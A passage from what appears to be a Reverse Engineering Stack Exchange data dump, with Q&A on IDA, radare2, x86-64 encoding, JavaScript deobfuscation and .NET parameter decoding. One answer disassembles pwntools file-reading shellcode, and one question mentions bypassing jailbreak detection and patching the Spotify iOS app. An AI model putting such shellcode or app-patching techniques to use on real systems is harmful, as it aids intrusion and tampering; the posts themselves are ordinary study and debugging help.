CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18686" PostTypeId="2" ParentId="18682" CreationDate="2018-07-04T16:24:49.460" Score="3" Body="&lt;p&gt;The first two lines suggest a string containing all hexadecimal digits, first line lower case, second line upper case. If this assumption holds, then the two lines read&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0123456789abcdef&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0123456789ABCDEF&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The construction principle then would be: &#xA;Take four characters, arrange them in reversed order, go to the next four characters etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing this with the line&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;./..il/.eh/b-xilmmocm/nos/ucerahrs/drd/crevicpi/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;results in &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;../../lib/helix-common/muc/shared/src/driver/ipc&lt;/code&gt;, &#xA;which makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works but not always. For instance the line &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cnySnorhdezi ==&amp;gt; Synchronized&lt;/code&gt;, but the line&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;?cnySnorhdezi ==&amp;gt; ?cnyronSzedhi&lt;/code&gt;, which is obviously nonsense. I am pretty sure it &quot;deobfuscates&quot; also to Synchronized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One could now assume some secret hidden additional algorithm for the non-working lines, but for me this sounds not realistic, given the simple construction principle in many cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the examples presented I assume that your snippet is not obfuscated at all, but not correctly decompressed. Maybe when you try with different zip algorithms with slightly different parameters, you end up with the clear text. With the principle I have been using it should be possible to get some more amount of perfectly reasonable clear text parts, which possibly could be used as a help to find the correct decompressor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might be another, more promising possibility to decompress:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume you have the (compressed) code of your firmware. There should be somewhere a stub in this code containing the decompressor. If you are able to find it, you could reverse it, perhaps also from static code and make a working C-code on your PC, thus enabling you to decompress.&lt;/p&gt;&#xA;" OwnerUserId="12800" LastEditorUserId="2147" LastEditDate="2018-07-05T10:22:16.510" LastActivityDate="2018-07-05T10:22:16.510" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18687" PostTypeId="2" ParentId="18683" CreationDate="2018-07-04T20:20:50.353" Score="2" Body="&lt;p&gt;Your plugin class can implement the &lt;code&gt;term(self)&lt;/code&gt; method, which will be called when IDA unloads the plugin. Unloading a plugin might happen at different occasions depending on the value returned by your &lt;code&gt;init(self)&lt;/code&gt; method when the plugin was loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should note the plugin may be loaded and unloaded several times during the execution of a single IDA instance, though. For example a plugin may be loaded once when IDA first starts without a loaded binary, and then be unloaded and reloaded when a binary is loaded (either an IDB or a binary loaded and analyzed for the first time).&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2018-07-05T10:21:09.050" LastActivityDate="2018-07-05T10:21:09.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18688" PostTypeId="1" CreationDate="2018-07-04T23:24:39.827" Score="2" ViewCount="1018" Body="&lt;p&gt;Is there any way to dump C++ class definitions on windows if executable and PDB files are available. I've seen this done before using &lt;code&gt;gdb&lt;/code&gt; but haven't had any luck doing this on windows. I've tried disassembling executable in free version of IDA but structures tab doesn't show any classes.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;EDIT:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I found this tool, but it only works for &lt;code&gt;C&lt;/code&gt; structs: &lt;a href=&quot;https://github.com/wbenny/pdbex&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/wbenny/pdbex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24897" LastEditorUserId="24897" LastEditDate="2018-07-05T09:00:59.260" LastActivityDate="2018-07-05T09:00:59.260" Title="Dump c++ class definitions from .exe + .pdb on windows" Tags="|c++|pdb|exe|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18689" PostTypeId="2" ParentId="18561" CreationDate="2018-07-05T06:18:45.383" Score="0" Body="&lt;p&gt;1) The Code written in NDK files is visible in .so files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) It is not mandatory to run the  modified apk on rooted devices,but its a better option to run on rooted devices.&lt;/p&gt;&#xA;" OwnerUserId="24743" LastActivityDate="2018-07-05T06:18:45.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18690" PostTypeId="2" ParentId="18675" CreationDate="2018-07-05T07:31:39.867" Score="1" Body="&lt;p&gt;The shellcode you're using is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 0:    6a 01                    push   0x1&#xA; 2:    5f                       pop    edi&#xA; 3:    68 01 01 01 01           push   0x1010101&#xA; 8:    81 34 24 75 79 75 01     xor    DWORD PTR [esp], 0x1757975&#xA; f:    68 6f 61 64 2e           push   0x2e64616f&#xA;14:    68 70 61 79 6c           push   0x6c796170&#xA;19:    6a 05                    push   0x5&#xA;1b:    58                       pop    eax&#xA;1c:    89 e3                    mov    ebx, esp&#xA;1e:    31 c9                    xor    ecx, ecx&#xA;20:    cd 80                    int    0x80&#xA;22:    89 c5                    mov    ebp, eax&#xA;24:    89 c3                    mov    ebx, eax&#xA;26:    6a 6c                    push   0x6c&#xA;28:    58                       pop    eax&#xA;29:    89 e1                    mov    ecx, esp&#xA;2b:    cd 80                    int    0x80&#xA;2d:    83 c4 14                 add    esp, 0x14&#xA;30:    8b 34 24                 mov    esi, DWORD PTR [esp]&#xA;33:    31 c0                    xor    eax, eax&#xA;35:    b0 bb                    mov    al, 0xbb&#xA;37:    89 fb                    mov    ebx, edi&#xA;39:    89 e9                    mov    ecx, ebp&#xA;3b:    99                       cdq&#xA;3c:    cd 80                    int    0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is from &lt;a href=&quot;https://github.com/Gallopsled/pwntools/blob/0ce21d9b4593cc270ed113bf82a4e6da405b6653/pwnlib/shellcraft/templates/i386/linux/readfile.asm&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; in pwntools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first syscall is &lt;code&gt;i386.syscall('SYS_open', 'esp', 'O_RDONLY')&lt;/code&gt; for payload.txt which will succeed if cwd has the file. The next is &lt;code&gt;${i386.syscall('SYS_fstat', 'eax', 'esp')}&lt;/code&gt; which has a signature like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int fstat(int fd, struct stat *statbuf);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to the man page&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;These  functions return information about a file, in the buffer pointed to by statbuf.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In your case &lt;code&gt;statbuf&lt;/code&gt; is esp and hence the stack is overwritten. Always debug and read the shellcode you're using.&lt;/p&gt;&#xA;" OwnerUserId="14622" LastActivityDate="2018-07-05T07:31:39.867" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="18691" PostTypeId="2" ParentId="2079" CreationDate="2018-07-05T08:19:35.490" Score="-1" Body="&lt;p&gt;When loading time is involved the entry point is DllMain.&lt;br&gt;&#xA;(Ex. COM in-process server DLL).&lt;br&gt;&#xA;When running time is involved the entry point is DllEntryPoint.&lt;br&gt;&#xA;(Ex. LoadLibrary get called).     &lt;/p&gt;&#xA;" OwnerUserId="24901" LastActivityDate="2018-07-05T08:19:35.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18693" PostTypeId="1" AcceptedAnswerId="18694" CreationDate="2018-07-05T12:45:40.477" Score="0" ViewCount="4913" Body="&lt;p&gt;Someone here already had success to deobfuscate 100% a &quot;hexadecimal&quot; Javascript code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var _0x22bc92 = function() {&#xA;    var _0x26938d = !![];&#xA;    return function(_0x100751, _0x54d399) {&#xA;        var _0x1a7790 = _0x26938d ? function() {&#xA;            if (_0x54d399) {&#xA;                var _0x28145f = _0x54d399[_0x4734('0x0')](_0x100751, arguments);&#xA;                _0x54d399 = null;&#xA;                return _0x28145f;&#xA;            }&#xA;        } : function() {};&#xA;        _0x26938d = ![];&#xA;        return _0x1a7790;&#xA;    };&#xA;}();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If yes, how do I do it?&lt;/p&gt;&#xA;" OwnerUserId="21573" LastEditorUserId="245" LastEditDate="2018-07-05T14:47:59.247" LastActivityDate="2018-07-05T14:47:59.247" Title="How decrypt hexadecimal javascript code?" Tags="|deobfuscation|javascript|hexadecimal|" AnswerCount="1" CommentCount="2" ClosedDate="2018-07-05T14:44:47.710" ContentLicense="CC BY-SA 4.0" />
  <row Id="18694" PostTypeId="2" ParentId="18693" CreationDate="2018-07-05T14:01:09.450" Score="3" Body="&lt;p&gt;Those hex values could represent anything. Look for &lt;a href=&quot;https://www.google.com/search?num=100&amp;amp;newwindow=1&amp;amp;rlz=1C1CHZL_enUS745US745&amp;amp;ei=uSU-W9O-F4GzzwLR2IzAAg&amp;amp;q=multi-format%20hexadecimal%20converter&amp;amp;oq=multi-format%20hexadecimal%20converter&amp;amp;gs_l=psy-ab.3...2267.2267.0.2497.1.1.0.0.0.0.68.68.1.1.0....0...1.1.64.psy-ab..0.0.0....0.FocNtzxDAn8&quot; rel=&quot;nofollow noreferrer&quot;&gt;online converters&lt;/a&gt; that convert hexadecimal to text (consider &lt;a href=&quot;https://stackoverflow.com/questions/700187/unicode-utf-ascii-ansi-format-differences&quot;&gt;various formats&lt;/a&gt;), dec, etc. and see if the results make any sense. If not, then they could just be 100% obfuscated to not recover any sort of meaningful name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, just make meaningful names yourself where you see repeated occurrences of names. For instance, look at how many times you see the value &lt;code&gt;_0x26938d&lt;/code&gt; (which I've changed to &lt;code&gt;_0x26938d_CHANGE_ME&lt;/code&gt;) appear below. Simply change all of those occurrences to your own name. You can apply a more meaningful name to them once you read through the code and/or execute it to understand its behavior.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var _0x22bc92 = function() {&#xA;    var _0x26938d_CHANGE_ME = !![];&#xA;    return function(_0x100751, _0x54d399) {&#xA;        var _0x1a7790 = _0x26938d_CHANGE_ME ? function() {&#xA;            if (_0x54d399) {&#xA;                var _0x28145f = _0x54d399[_0x4734('0x0')](_0x100751, arguments);&#xA;                _0x54d399 = null;&#xA;                return _0x28145f;&#xA;            }&#xA;        } : function() {};&#xA;        _0x26938d_CHANGE_ME = ![];&#xA;        return _0x1a7790;&#xA;    };&#xA;}();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2018-07-05T14:06:55.917" LastActivityDate="2018-07-05T14:06:55.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18695" PostTypeId="1" AcceptedAnswerId="18696" CreationDate="2018-07-05T14:16:51.720" Score="5" ViewCount="1340" Body="&lt;p&gt;NB: I normally dabble with disassembly (i.e. mnemonics) and only ever look at the raw opcodes when I can't avoid it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following line of disassembly of a Windows x64 kernel mode driver, created by IDA Pro 7.1.180227:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xor     edx, edx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I &lt;em&gt;know&lt;/em&gt; for a fact that this is in preparation of passing the second parameter to a function via &lt;code&gt;rdx&lt;/code&gt;. I also know that the intention of that code is to set said pointer argument to &lt;code&gt;NULL&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The opcode is &lt;code&gt;33 D2&lt;/code&gt;. And cross-referencing that with &lt;a href=&quot;http://ref.x86asm.net/coder64.html#x33&quot; rel=&quot;noreferrer&quot;&gt;the reference&lt;/a&gt; or looking at it &lt;a href=&quot;https://onlinedisassembler.com/odaweb/4CcSHhBe/0&quot; rel=&quot;noreferrer&quot;&gt;in ODA&lt;/a&gt; yields the same as with IDA: &lt;code&gt;xor edx, edx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what itches me wrong with this disassembly is that &lt;code&gt;rdx&lt;/code&gt;, as a superset of &lt;code&gt;edx&lt;/code&gt;, is used elsewhere on that exact code path to store other pointers. So in theory the upper double-word of &lt;code&gt;rdx&lt;/code&gt; could be &quot;dirty&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And going by the fact that this is x64 code, I'd expect this to read &lt;code&gt;xor rdx, rdx&lt;/code&gt;. Why is that not how it's presented in the disassembly?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now I understand that, as per section 3.6.1 (Table 3-4) of the &lt;a href=&quot;https://software.intel.com/en-us/articles/intel-sdm&quot; rel=&quot;noreferrer&quot;&gt;Intel SDM&lt;/a&gt; (05/2018) the REX.W Prefix of the opcode can affect the operand size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this opcode neither the operand-size (66h) nor the address-size (67h) prefix are present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So going by the Intel SDM (section &quot;XOR—Logical Exclusive OR&quot;) I should indeed be dealing with opcode &lt;code&gt;33 /r&lt;/code&gt; or instruction &lt;code&gt;XOR r32, r/m32&lt;/code&gt;, confirming IDAs translation of the opcode. Referring to section 2.1.5 (&quot;Addressing-Mode Encoding of ModR/M and SIB Bytes&quot;) of the Intel SDM gives us a clue as to how the operand (&lt;code&gt;D2&lt;/code&gt;) is encoded and so gives us, from Table 2-2 (&quot;32-Bit Addressing Forms with the ModR/M Byte&quot;): &lt;code&gt;EDX/DX/DL/MM2/XMM2&lt;/code&gt; as operand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Figures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, that would mean that the &quot;dirty&quot; upper double-word in &lt;code&gt;rdx&lt;/code&gt; would not be zeroed out and thus a garbled/truncated pointer would end up being passed. Given this is kernel mode code, the consequences should be clear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just can't believe that the compiler would make such mistake. So what &lt;em&gt;am I&lt;/em&gt; missing?&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2018-07-05T14:31:06.997" Title="Is IDA pulling my leg - or can REX.W sometimes not be determined in static analysis?" Tags="|ida|x86-64|assembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18696" PostTypeId="2" ParentId="18695" CreationDate="2018-07-05T14:31:06.997" Score="15" Body="&lt;p&gt;In x86-64, any operation that affects only the lower 32 bits of a register automatically zeros out the upper 32 bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant part in the Intel Architecture manual is in Volume 1, 3.4.1.1, which states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When in 64-bit mode, operand size determines the number of valid bits&#xA;  in the destination general-purpose register:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;64-bit operands generate a 64-bit result in the destination general-purpose register.&lt;/li&gt;&#xA;  &lt;li&gt;&lt;strong&gt;32-bit operands generate a 32-bit result, zero-extended to a 64-bit&#xA;  result in the destination general-purpose register.&lt;/strong&gt;&lt;/li&gt;&#xA;  &lt;li&gt;8-bit and 16-bit operands generate an 8-bit or 16-bit result. The upper 56 bits or 48 bits (respectively) of the destination general-purpose register are&#xA;  not modified by the operation. If the result of an 8-bit or 16-bit&#xA;  operation is intended for 64-bit address calculation, explicitly&#xA;  sign-extend the register to the full 64-bits.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thus both forms give the same result, and &lt;code&gt;xor edx, edx&lt;/code&gt; is one byte shorter than &lt;code&gt;xor rdx, rdx&lt;/code&gt;, so the compiler prefers it.&lt;/p&gt;&#xA;" OwnerUserId="24906" LastActivityDate="2018-07-05T14:31:06.997" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="18697" PostTypeId="1" AcceptedAnswerId="18721" CreationDate="2018-07-05T15:29:23.407" Score="0" ViewCount="492" Body="&lt;p&gt;What would be the translated C output of this hexrays decompiler pseudocode? The values of v6 and v5 are floats just as v8. The value of xmmword_108365D0 is 7FFFFFFF7FFFFFFF7FFFFFFF7FFFFFFFh&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v8 = (float)(COERCE_FLOAT(COERCE_UNSIGNED_INT(v6 - v5) &amp;amp; xmmword_108365D0) - 4.0) * 0.16666667;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure how to go about translating these macros into C. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;andps   xmm0, ds:xmmword_108365D0 ; xmm0 = xmm0 &amp;amp; xmmword_108365D0&#xA; subss   xmm0, ds:dword_10835A68 ; xmm0 -= 4.0&#xA; mulss   xmm0, ds:dword_1083538C ; xmm0 *= 0.16666667&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="24863" LastEditorUserId="24863" LastEditDate="2018-07-06T21:46:25.727" LastActivityDate="2018-07-07T21:18:45.980" Title="Translating ida macros and pseudocode into C++/C" Tags="|ida|decompilation|c++|c|hexrays|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18698" PostTypeId="1" CreationDate="2018-07-05T18:18:34.040" Score="1" ViewCount="107" Body="&lt;p&gt;what is the following image is about ? Is it design using win32 (UI) ?&#xA;the following image contains functions are being output from a DLL. &#xA;Can you help me to understand. &#xA;Suggest me anything which will help me understand what these UI is all about?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/M1E4K.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M1E4K.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDiT: Where can i find tutorial / guide on sciter. Thanks&lt;/p&gt;&#xA;" OwnerUserId="24603" LastEditorUserId="24603" LastEditDate="2018-07-06T11:29:25.403" LastActivityDate="2018-07-06T14:37:14.120" Title="Visual Win32 (UI) style?" Tags="|disassembly|assembly|c++|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18699" PostTypeId="2" ParentId="18698" CreationDate="2018-07-05T18:52:55.550" Score="4" Body="&lt;p&gt;That looks to be &lt;a href=&quot;https://sciter.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sciter&lt;/a&gt;, previous known as &lt;a href=&quot;https://terrainformatica.com/a-homepage-section/htmlayout/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HTMLLayout&lt;/a&gt;. That should lead you to the appropriate documentation necessary to study what those functions do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Source&lt;/strong&gt;: &lt;a href=&quot;https://www.google.com/search?q=HTMLayout%20Master%20CSS&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Google Machine&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="23069" LastEditDate="2018-07-06T14:37:14.120" LastActivityDate="2018-07-06T14:37:14.120" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18701" PostTypeId="1" AcceptedAnswerId="18702" CreationDate="2018-07-06T00:17:37.153" Score="3" ViewCount="3020" Body="&lt;p&gt;If I want to find all references to &lt;code&gt;fs:[0x28]&lt;/code&gt; how would I go about doing it with radare2? For example,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x000006b5      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x1978 ; '(' ; &quot;x\x19&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to find all lines that reference &lt;code&gt;fs:[0x28]&lt;/code&gt;, like the one above. This address is used as a &lt;a href=&quot;https://stackoverflow.com/a/10325915/124486&quot;&gt;stack canary&lt;/a&gt;, and I'm especially interested to see what is reading from it.&lt;/p&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-11-03T12:00:40.907" Title="How do I find all references to an address with a memory segment?" Tags="|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18702" PostTypeId="2" ParentId="18701" CreationDate="2018-07-06T01:26:55.560" Score="2" Body="&lt;p&gt;Seems you can find the things writing to it with &lt;code&gt;axt&lt;/code&gt; (&lt;em&gt;find data/code references to this address&lt;/em&gt;) using just the address &lt;code&gt;0x28&lt;/code&gt;. &lt;strong&gt;I'm still unsure how to qualify the memory segment,&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000006aa]&amp;gt; axt 0x28&#xA;sym.foo 0x6b5 [DATA] mov rax, qword fs:[0x28]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this doesn't work, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x000006aa]&amp;gt; axt fs:[0x28]&#xA;entry0; [14] -r-x section size 514 named .text 0x5a0 [CODE] xor ebp, ebp&#xA;sym.__libc_csu_init 0x779 [CALL] call qword [r12 + rbx*8]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22669" LastActivityDate="2018-07-06T01:26:55.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18703" PostTypeId="1" CreationDate="2018-07-06T04:25:49.903" Score="1" ViewCount="767" Body="&lt;p&gt;I have learned in the past to patch some iOS apps to bypass jailbreak detection. Today, I decided to change the UI elements in the Spotify app on iOS Platform (ios 11). I downloaded a .ipa file of Spotify and opened the executable using Hopper Disassembler v3. Can anyone experienced tell me which functions I should modify and resources that will help me identify other functions in the assembly code (64 bit)?&lt;/p&gt;&#xA;" OwnerUserId="24913" LastActivityDate="2018-07-06T04:25:49.903" Title="Patching an ipa (iPhone app) using Hopper Disassembler" Tags="|arm|ios|hopper|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18704" PostTypeId="2" ParentId="18608" CreationDate="2018-07-06T05:55:21.963" Score="2" Body="&lt;p&gt;Open the &lt;code&gt;Cryptography.dll&lt;/code&gt; file in &lt;a href=&quot;https://github.com/0xd4d/dnSpy.git&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnSpy&lt;/a&gt;. The &lt;code&gt;PARAM&lt;/code&gt; value can be decoded with this &lt;code&gt;Decode6bit()&lt;/code&gt; function found in &lt;code&gt;EncodeUtilscs&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static string Decode6bit(string input) {&#xA;    string value = input.Substring(0, 4);&#xA;    ushort num = Convert.ToUInt16(value, 16);&#xA;    int length = input.Length;&#xA;    string text = &quot;&quot;;&#xA;    ushort[] array = new ushort[8];&#xA;    for (int i = 4; i &amp;lt; length; i += 8) {&#xA;        for (int j = 0; j &amp;lt; 8; j++) {&#xA;            char c = input[i + j];&#xA;            ushort num2;&#xA;            if (c == '&amp;gt;') {&#xA;                num2 = 63;&#xA;            } else if (c == '&amp;lt;') {&#xA;                num2 = 62;&#xA;            } else if (c &amp;gt;= 'a') {&#xA;                num2 = (ushort)((byte)c - 97 + 10);&#xA;            } else if (c &amp;gt;= 'A') {&#xA;                num2 = (ushort)((byte)c - 65 + 36);&#xA;            } else {&#xA;                num2 = (ushort)((byte)c - 48);&#xA;            }&#xA;            array[j] = num2;&#xA;        }&#xA;        ushort num3 = (ushort)((int)array[0] &amp;lt;&amp;lt; 10 | (int)array[1] &amp;lt;&amp;lt; 4 | (array[2] &amp;amp; 60) &amp;gt;&amp;gt; 2);&#xA;        ushort num4 = (ushort)((int)(array[2] &amp;amp; 3) &amp;lt;&amp;lt; 14 | (int)array[3] &amp;lt;&amp;lt; 8 | (int)array[4] &amp;lt;&amp;lt; 2 | (array[5] &amp;amp; 48) &amp;gt;&amp;gt; 4);&#xA;        ushort num5 = (ushort)((int)(array[5] &amp;amp; 15) &amp;lt;&amp;lt; 12 | (int)array[6] &amp;lt;&amp;lt; 6 | (int)array[7]);&#xA;        text += (char)num3;&#xA;        text += (char)num4;&#xA;        text += (char)num5;&#xA;    }&#xA;    if (text.Length &amp;gt; (int)num) {&#xA;        text = text.Substring(0, (int)num);&#xA;    }&#xA;    return text;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to the question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Input: &quot;003D05g0mg1g04k0fg1204w09w1404Y0gM1904g0fg0N0480cg0M0380dg0Q0340cM0R03o0cM0Q04o0dg0M0480e01403w0dw0M03k0cw0Q03o0d00T03s0d00M04809w1304Y0jw1904g0fg0Q03c0cg0T03k0d00O03g0800w&quot;;&#xA;Output: &quot;TYPE=BH&amp;amp;DOCID=1B10254135634F50B8D860524647740B&amp;amp;CONID=43175424&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output string is mapped in server. After encoding/decoding the string, the output is appended to the URL and the required file is downloaded as follows. Open &lt;code&gt;exchangePAMCommon.dll&lt;/code&gt; file in &lt;a href=&quot;https://github.com/0xd4d/dnSpy.git&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnSpy&lt;/a&gt;. The URL is appended in &lt;code&gt;MessageRetrieval.cs&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (text != null) {&#xA;    str = &quot;02BB015A_&quot; + EncodeUtils.EncodeXOR(text2, text);&#xA;    requestUriString = protocol + downloadServer + &quot;/exchangePAMWS/GetFile.aspx?&quot; + str;&#xA;}&#xA;else {&#xA;    str = EncodeUtils.Encode6bit(text2);&#xA;    requestUriString = protocol + downloadServer + &quot;/exchangePAMWS/GetFile.aspx?PARAM=&quot; + str;&#xA;}&#xA;httpWebRequest = (HttpWebRequest)WebRequest.Create(requestUriString);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="23069" LastActivityDate="2018-07-06T05:55:21.963" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18705" PostTypeId="1" AcceptedAnswerId="18706" CreationDate="2018-07-06T08:33:46.343" Score="4" ViewCount="11085" Body="&lt;pre&gt;&lt;code&gt;[root@localhost Relay]# file RelayD&#xA;RelayD: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped&#xA;&#xA;[root@localhost Relay]# ./start&#xA;: no process killed&#xA;./start: line 2:  2066 Segmentation fault      ./RelayD start --daemon&#xA;: command not found&#xA;[root@localhost Relay]# gdb RelayD&#xA;GNU gdb (GDB) Red Hat Enterprise Linux (7.2-92.el6)&#xA;Copyright (C) 2010 Free Software Foundation, Inc.&#xA;License GPLv3+: GNU GPL version 3 or later &amp;lt;http://gnu.org/licenses/gpl.html&amp;gt;&#xA;This is free software: you are free to change and redistribute it.&#xA;There is NO WARRANTY, to the extent permitted by law.  Type &quot;show copying&quot;&#xA;and &quot;show warranty&quot; for details.&#xA;This GDB was configured as &quot;x86_64-redhat-linux-gnu&quot;.&#xA;For bug reporting instructions, please see:&#xA;&amp;lt;http://www.gnu.org/software/gdb/bugs/&amp;gt;...&#xA;&quot;/home/Relay/RelayD&quot;: not in executable format: File format not recognized&#xA;(gdb) run&#xA;Starting program:&#xA;No executable file specified.&#xA;Use the &quot;file&quot; or &quot;exec-file&quot; command.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to debug this file? I have tried to run gdb to debug the file and the result show: not in executable. The program is showing segfault when I tried to run the bin file.&lt;/p&gt;&#xA;" OwnerUserId="24918" LastEditorUserId="245" LastEditDate="2018-07-06T08:58:25.677" LastActivityDate="2018-07-06T09:10:27.287" Title="gdb debug show error &quot;not in executable format: file format not recognized&quot;" Tags="|debugging|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
